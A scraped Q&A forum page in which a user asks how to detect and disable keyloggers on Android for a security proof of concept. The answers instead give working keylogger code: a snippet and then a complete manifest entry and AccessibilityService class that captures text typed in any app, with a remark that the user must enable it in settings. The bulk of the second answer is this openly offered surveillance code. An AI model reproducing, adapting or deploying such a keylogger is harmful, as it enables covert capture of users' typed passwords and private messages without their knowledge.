Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Android Key logger

Tags:

Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.

Queries:

1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?

2.) Is this possible to identify if any of the background process handelling keyboard events?

3.) Can I stop any other background service (not owned by me) by my application code?

Please help me with suitable links if you have.

like image 408
Avtar Guleria Avatar asked Dec 02 '14 08:12

Avtar Guleria


2 Answers

I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :

Type Machine

It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method. For Example, the following code can be used to get a new text:

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {      List text = accessibilityEvent.getText();      CharSequence latestText = (CharSequence) text.get(0);      Log.i(MY_TAG, latestText.toString()); } 
like image 74
ananth Avatar answered Oct 18 '22 02:10

ananth


As a follow up on @ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.

But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.

Step 1: Paste this in your manifest file.

<application> ... <service android:name=".MyAccessibilityService"             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">             <intent-filter>                 <action android:name="android.accessibilityservice.AccessibilityService" />             </intent-filter> </service> </application> 

Step 2: Create a class for your Accessibility Service.

public class MyAccessibilityService extends AccessibilityService {     @Override     public void onAccessibilityEvent(AccessibilityEvent event) {         final int eventType = event.getEventType();         String eventText = null;         switch(eventType) {             /*                 You can use catch other events like touch and focus                  case AccessibilityEvent.TYPE_VIEW_CLICKED:                      eventText = "Clicked: ";                      break;                 case AccessibilityEvent.TYPE_VIEW_FOCUSED:                      eventText = "Focused: ";                      break;             */             case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:                 eventText = "Typed: ";                 break;         }         eventText = eventText + event.getText();          //print the typed text in the console. Or do anything you want here.         System.out.println("ACCESSIBILITY SERVICE : "+eventText);      }      @Override     public void onInterrupt() {         //whatever     }      @Override     public void onServiceConnected() {         //configure our Accessibility service         AccessibilityServiceInfo info=getServiceInfo();         info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;         info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;         info.notificationTimeout = 100;         this.setServiceInfo(info);     }  } 

That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.

Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.

like image 24
Nandan Desai Avatar answered Oct 18 '22 00:10

Nandan Desai